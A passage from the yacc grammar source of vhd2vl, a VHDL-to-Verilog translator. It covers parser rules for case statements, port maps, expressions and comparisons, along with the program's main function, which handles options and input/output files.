$$=addsl(sl,$4); } | rem NULLV ';' p_body { slist *sl; if($1){ sl=addsl($1,indents[indent]); $$=addsl(sl,$4); }else $$=$4; } ; elsepart : {$$=NULL;} | ELSIF exprc THEN doindent p_body unindent elsepart { slist *sl; sl=addtxt(indents[indent],"else if("); sl=addsl(sl,$2); sl=addtxt(sl,") begin\n"); sl=addsl(sl,$5); sl=addsl(sl,indents[indent]); sl=addtxt(sl,"end\n"); $$=addsl(sl,$7); } | ELSE doindent p_body unindent { slist *sl; sl=addtxt(indents[indent],"else begin\n"); sl=addsl(sl,$3); sl=addsl(sl,indents[indent]); $$=addtxt(sl,"end\n"); } ; cases : WHEN wlist '=' '>' doindent p_body unindent cases{ slist *sl; sl=addsl(indents[indent],$2); sl=addtxt(sl," : begin\n"); sl=addsl(sl,$6); sl=addsl(sl,indents[indent]); sl=addtxt(sl,"end\n"); $$=addsl(sl,$8); } | WHEN OTHERS '=' '>' doindent p_body unindent { slist *sl; sl=addtxt(indents[indent],"default : begin\n"); sl=addsl(sl,$6); sl=addsl(sl,indents[indent]); $$=addtxt(sl,"end\n"); } | /* Empty */ { $$=NULL; } /* List without WHEN OTHERS */ ; wlist : wvalue {$$=$1;} | wlist '|' wvalue { slist *sl; sl=addtxt($1,","); $$=addsl(sl,$3); } ; wvalue : STRING {$$=addvec(NULL,$1);} | NAME STRING {$$=addvec_base(NULL,$1,$2);} | NAME {$$=addtxt(NULL,$1);} ; sign_list : signal {$$=$1->sl; free($1);} | signal ',' sign_list { slist *sl; sl=addtxt($1->sl," or "); free($1); $$=addsl(sl,$3); } ; sigvalue : expr delay ';' { slist *sl; if(delay && $2){ sl=addtxt(NULL,"# "); sl=addval(sl,$2); sl=addtxt(sl," "); } else sl=NULL; if($1->op == 'c') sl=addsl(sl,addwrap("{",$1->sl,"}")); else sl=addsl(sl,$1->sl); free($1); delay=1; $$=sl; } | expr delay WHEN exprc ';' { fprintf(stderr,"Warning on line %d: Can't translate 'expr delay WHEN exprc;' expressions\n",lineno); $$=NULL; } | expr delay WHEN exprc ELSE nodelay sigvalue { slist *sl; sl=addtxt($4," ? "); if($1->op == 'c') sl=addsl(sl,addwrap("{",$1->sl,"}")); else sl=addsl(sl,$1->sl); free($1); sl=addtxt(sl," : "); $$=addsl(sl,$7); } ; nodelay : /* empty */ {delay=0;} ; delay : /* empty */ {$$=0;} | AFTER NATURAL NAME { set_timescale($3); $$=$2; } ; map_list : rem map_item { slist *sl; sl=addsl($1,indents[indent]); $$=addsl(sl,$2);} | rem map_item ',' map_list { slist *sl; sl=addsl($1,indents[indent]); sl=addsl(sl,$2); sl=addtxt(sl,",\n"); $$=addsl(sl,$4); } ; map_item : mvalue {$$=$1;} | NAME '=' '>' mvalue { slist *sl; sl=addtxt(NULL,"."); sl=addtxt(sl,$1); sl=addtxt(sl,"("); sl=addsl(sl,$4); $$=addtxt(sl,")"); } ; mvalue : STRING {$$=addvec(NULL,$1);} | signal {$$=addsl(NULL,$1->sl);} | NATURAL {$$=addval(NULL,$1);} | NAME STRING {$$=addvec_base(NULL,$1,$2);} | OPEN {$$=addtxt(NULL,"/* open */");} | '(' OTHERS '=' '>' STRING ')' { $$=addtxt(NULL,"{broken{"); $$=addtxt($$,$5); $$=addtxt($$,"}}"); fprintf(stderr,"Warning on line %d: broken width on port with OTHERS\n",lineno); } ; generic_map_list : rem generic_map_item { slist *sl; sl=addsl($1,indents[indent]); $$=addsl(sl,$2);} | rem generic_map_item ',' generic_map_list { slist *sl; sl=addsl($1,indents[indent]); sl=addsl(sl,$2); sl=addtxt(sl,",\n"); $$=addsl(sl,$4); } | rem expr { /* only allow a single un-named map item */ $$=addsl(NULL,$2->sl); } ; generic_map_item : NAME '=' '>' expr { slist *sl; sl=addtxt(NULL,"."); sl=addtxt(sl,$1); sl=addtxt(sl,"("); sl=addsl(sl,$4->sl); $$=addtxt(sl,")"); } ; signal : NAME { slist *sl; slval *ss; ss=xmalloc(sizeof(slval)); sl=addtxt(NULL,$1); if(dowith){ slwith=sl; dowith=0; } ss->sl=sl; ss->val=-1; ss->range=NULL; $$=ss; } | NAME '(' vec_range ')' { slval *ss; slist *sl; ss=xmalloc(sizeof(slval)); sl=addtxt(NULL,$1); sl=addpar_snug(sl,$3); if(dowith){ slwith=sl; dowith=0; } ss->sl=sl; ss->range=$3; if($3->vtype==tVRANGE) { if (0) { fprintf(stderr,"ss->val set to 1 for "); fslprint(stderr,ss->sl); fprintf(stderr,", why?\n"); } ss->val = -1; /* width is in the vrange */ } else { ss->val = 1; } $$=ss; } | NAME '(' vec_range ')' '(' vec_range ')' { slval *ss; slist *sl; ss=xmalloc(sizeof(slval)); sl=addtxt(NULL,$1); sl=addpar_snug2(sl,$3, $6); if(dowith){ slwith=sl; dowith=0; } ss->sl=sl; ss->range=$3; if($3->vtype==tVRANGE) { ss->val = -1; /* width is in the vrange */ } else { ss->val = 1; } $$=ss; } ; /* Expressions */ expr : signal { expdata *e; e=xmalloc(sizeof(expdata)); e->op='t'; /* Terminal symbol */ e->sl=$1->sl; free($1); $$=e; } | STRING { expdata *e; e=xmalloc(sizeof(expdata)); e->op='t'; /* Terminal symbol */ e->sl=addvec(NULL,$1); $$=e; } | FLOAT { expdata *e=xmalloc(sizeof(expdata)); e->op='t'; /* Terminal symbol */ e->sl=addtxt(NULL,$1); $$=e; } | NATURAL { expdata *e=xmalloc(sizeof(expdata)); e->op='t'; /* Terminal symbol */ e->sl=addval(NULL,$1); $$=e; } | NATURAL BASED { /* e.g. 16#55aa# */ /* XXX unify this code with addvec_base */ expdata *e=xmalloc(sizeof(expdata)); char *natval = xmalloc(strlen($2)+34); e->op='t'; /* Terminal symbol */ switch($1) { case 2: sprintf(natval, "'B%s",$2); break; case 8: sprintf(natval, "'O%s",$2); break; case 10: sprintf(natval, "'D%s",$2); break; case 16: sprintf(natval, "'H%s",$2); break; default: sprintf(natval,"%d#%s#",$1,$2); fprintf(stderr,"Warning on line %d: Can't translate based number %s (only bases of 2, 8, 10, and 16 are translatable)\n",lineno,natval); } e->sl=addtxt(NULL,natval); $$=e; } | NAME STRING { expdata *e=xmalloc(sizeof(expdata)); e->op='t'; /* Terminal symbol */ e->sl=addvec_base(NULL,$1,$2); $$=e; } | '(' OTHERS '=' '>' STRING ')' { expdata *e; e=xmalloc(sizeof(expdata)); e->op='o'; /* others */ e->sl=addothers(NULL,$5); $$=e; } | expr '&' expr { /* Vector chaining */ slist *sl; sl=addtxt($1->sl,","); sl=addsl(sl,$3->sl); free($3); $1->op='c'; $1->sl=sl; $$=$1; } | '-' expr %prec UMINUS {$$=addexpr(NULL,'m'," -",$2);} | '+' expr %prec UPLUS {$$=addexpr(NULL,'p'," +",$2);} | expr '+' expr {$$=addexpr($1,'+'," + ",$3);} | expr '-' expr {$$=addexpr($1,'-'," - ",$3);} | expr '*' expr {$$=addexpr($1,'*'," * ",$3);} | expr '/' expr {$$=addexpr($1,'/'," / ",$3);} | expr MOD expr {$$=addexpr($1,'%'," % ",$3);} | NOT expr {$$=addexpr(NULL,'~'," ~",$2);} | expr AND expr {$$=addexpr($1,'&'," & ",$3);} | expr OR expr {$$=addexpr($1,'|'," | ",$3);} | expr XOR expr {$$=addexpr($1,'^'," ^ ",$3);} | expr XNOR expr {$$=addexpr(NULL,'~'," ~",addexpr($1,'^'," ^ ",$3));} | BITVECT '(' expr ')' { /* single argument type conversion function e.g. std_ulogic_vector(x) */ expdata *e; e=xmalloc(sizeof(expdata)); if ($3->op == 'c') { e->sl=addwrap("{",$3->sl,"}"); } else { e->sl=addwrap("(",$3->sl,")"); } $$=e; } | CONVFUNC_2 '(' expr ',' NATURAL ')' { /* two argument type conversion e.g. to_unsigned(x, 3) */ $$ = addnest($3); } | CONVFUNC_2 '(' expr ',' NAME ')' { $$ = addnest($3); } | '(' expr ')' { $$ = addnest($2); } ; /* Conditional expressions */ exprc : conf { $$=$1; } | '(' exprc ')' { $$=addwrap("(",$2,")"); } | exprc AND exprc %prec ANDL { slist *sl; sl=addtxt($1," && "); $$=addsl(sl,$3); } | exprc OR exprc %prec ORL { slist *sl; sl=addtxt($1," || "); $$=addsl(sl,$3); } | NOT exprc %prec NOTL { slist *sl; sl=addtxt(NULL,"!"); $$=addsl(sl,$2); } ; /* Comparisons */ conf : expr '=' expr %prec EQUAL { slist *sl; if($1->op == 'c') sl=addwrap("{",$1->sl,"} == "); else if($1->op != 't') sl=addwrap("(",$1->sl,") == "); else sl=addtxt($1->sl," == "); if($3->op == 'c') $$=addsl(sl,addwrap("{",$3->sl,"}")); else if($3->op != 't') $$=addsl(sl,addwrap("(",$3->sl,")")); else $$=addsl(sl,$3->sl); free($1); free($3); } | expr '>' expr { slist *sl; if($1->op == 'c') sl=addwrap("{",$1->sl,"} > "); else if($1->op != 't') sl=addwrap("(",$1->sl,") > "); else sl=addtxt($1->sl," > "); if($3->op == 'c') $$=addsl(sl,addwrap("{",$3->sl,"}")); else if($3->op != 't') $$=addsl(sl,addwrap("(",$3->sl,")")); else $$=addsl(sl,$3->sl); free($1); free($3); } | expr '>' '=' expr %prec BIGEQ { slist *sl; if($1->op == 'c') sl=addwrap("{",$1->sl,"} >= "); else if($1->op != 't') sl=addwrap("(",$1->sl,") >= "); else sl=addtxt($1->sl," >= "); if($4->op == 'c') $$=addsl(sl,addwrap("{",$4->sl,"}")); else if($4->op != 't') $$=addsl(sl,addwrap("(",$4->sl,")")); else $$=addsl(sl,$4->sl); free($1); free($4); } | expr '<' expr { slist *sl; if($1->op == 'c') sl=addwrap("{",$1->sl,"} < "); else if($1->op != 't') sl=addwrap("(",$1->sl,") < "); else sl=addtxt($1->sl," < "); if($3->op == 'c') $$=addsl(sl,addwrap("{",$3->sl,"}")); else if($3->op != 't') $$=addsl(sl,addwrap("(",$3->sl,")")); else $$=addsl(sl,$3->sl); free($1); free($3); } | expr '<' '=' expr %prec LESSEQ { slist *sl; if($1->op == 'c') sl=addwrap("{",$1->sl,"} <= "); else if($1->op != 't') sl=addwrap("(",$1->sl,") <= "); else sl=addtxt($1->sl," <= "); if($4->op == 'c') $$=addsl(sl,addwrap("{",$4->sl,"}")); else if($4->op != 't') $$=addsl(sl,addwrap("(",$4->sl,")")); else $$=addsl(sl,$4->sl); free($1); free($4); } | expr '/' '=' expr %prec NOTEQ { slist *sl; if($1->op == 'c') sl=addwrap("{",$1->sl,"} != "); else if($1->op != 't') sl=addwrap("(",$1->sl,") != "); else sl=addtxt($1->sl," != "); if($4->op == 'c') $$=addsl(sl,addwrap("{",$4->sl,"}")); else if($4->op != 't') $$=addsl(sl,addwrap("(",$4->sl,")")); else $$=addsl(sl,$4->sl); free($1); free($4); } ; simple_expr : signal { expdata *e; e=xmalloc(sizeof(expdata)); e->op='t'; /* Terminal symbol */ e->sl=$1->sl; free($1); $$=e; } | STRING { expdata *e; e=xmalloc(sizeof(expdata)); e->op='t'; /* Terminal symbol */ e->sl=addvec(NULL,$1); $$=e; } | NATURAL { expdata *e; e=xmalloc(sizeof(expdata)); e->op='n'; /* natural */ e->value=$1; e->sl=addval(NULL,$1); $$=e; } | simple_expr '+' simple_expr { $$=addexpr($1,'+'," + ",$3); } | simple_expr '-' simple_expr { $$=addexpr($1,'-'," - ",$3); } | simple_expr '*' simple_expr { $$=addexpr($1,'*'," * ",$3); } | simple_expr '/' simple_expr { $$=addexpr($1,'/'," / ",$3); } | CONVFUNC_1 '(' simple_expr ')' { /* one argument type conversion e.g. conv_integer(x) */ expdata *e; e=xmalloc(sizeof(expdata)); e->sl=addwrap("(",$3->sl,")"); $$=e; } | '(' simple_expr ')' { expdata *e; e=xmalloc(sizeof(expdata)); e->sl=addwrap("(",$2->sl,")"); $$=e; } ; %% const char *outfile; /* Output file */ const char *sourcefile; /* Input file */ int main(int argc, char *argv[]){ int i,j; char *s; slist *sl; int status; /* Init the indentation variables */ indents[0]=NULL; for(i=1;i<MAXINDENT;i++){ indents[i]=sl=xmalloc(sizeof(slist)); sl->data.txt=s=xmalloc(sizeof(char) *((i<<1)+1)); for(j=0;j<(i<<1);j++) *s++=' '; *s=0; sl->type=1; sl->slst=NULL; } if (argc >= 2 && strcmp(argv[1], "--help") == 0) { printf( "Usage: vhd2vl [-d] [-g1995|-g2001] source_file.vhd > target_file.v\n" " or vhd2vl [-d] [-g1995|-g2001] source_file.vhd target_file.v\n"); exit(EXIT_SUCCESS); } while (argc >= 2) { if (strcmp(argv[1], "-d") == 0) { yydebug = 1; } else if (strcmp(argv[1], "-g1995") == 0) { vlog_ver = 0; } else if (strcmp(argv[1], "-g2001") == 0) { vlog_ver = 1; } else { break; } argv++; argc--; } if (argc>=2) { sourcefile = argv[1]; if (strcmp(sourcefile,"-")!=0 && !freopen(sourcefile, "r", stdin)) { fprintf(stderr, "Error: Can't open input file '%s'\n", sourcefile); return(1); } } else { sourcefile = "-"; } if (argc>=3) { outfile = argv[2]; if (strcmp(outfile,"-")!=0 && !freopen(outfile, "w", stdout)) { fprintf(stderr, "Error: Can't open output file '%s'\n", outfile); return(1); } } else { outfile = "-"; } printf("// File %s translated with vhd2vl v2.4 VHDL to Verilog RTL translator\n", sourcefile); printf("// vhd2vl settings:\n" "// * Verilog Module Declaration Style: %s\n\n", vlog_ver ? "2001" : "1995"); fputs( "// vhd2vl is Free (libre) Software:\n" "// Copyright (C) 2001 <NAME> - Ocean Logic Pty Ltd\n" "// http://www.ocean-logic.com\n" "// Modifications Copyright (C) 2006 <NAME> - PMC Sierra Inc\n" "// Modifications (C) 2010 <NAME>\n" "// Modifications Copyright (C) 2002, 2005, 2008-2010 <NAME> - LBNL\n" "// http://doolittle.icarus.com/~larry/vhd2vl/\n" "//\n", stdout); fputs( "// vhd2vl comes with ABSOLUTELY NO WARRANTY. Always check the resulting\n" "// Verilog for correctness, ideally with a formal verification tool.\n" "//\n" "// You are welcome to redistribute vhd2vl under certain conditions.\n" "// See the license (GPLv2) file included with the source for details.\n\n" "// The result of translation follows. Its copyright status should be\n" "// considered unchanged from the original VHDL.\n\n" , stdout); status = yyparse(); fclose(stdout); fclose(stdin); if (status != 0 && strcmp(outfile,"-")!=0) unlink(outfile); return status; }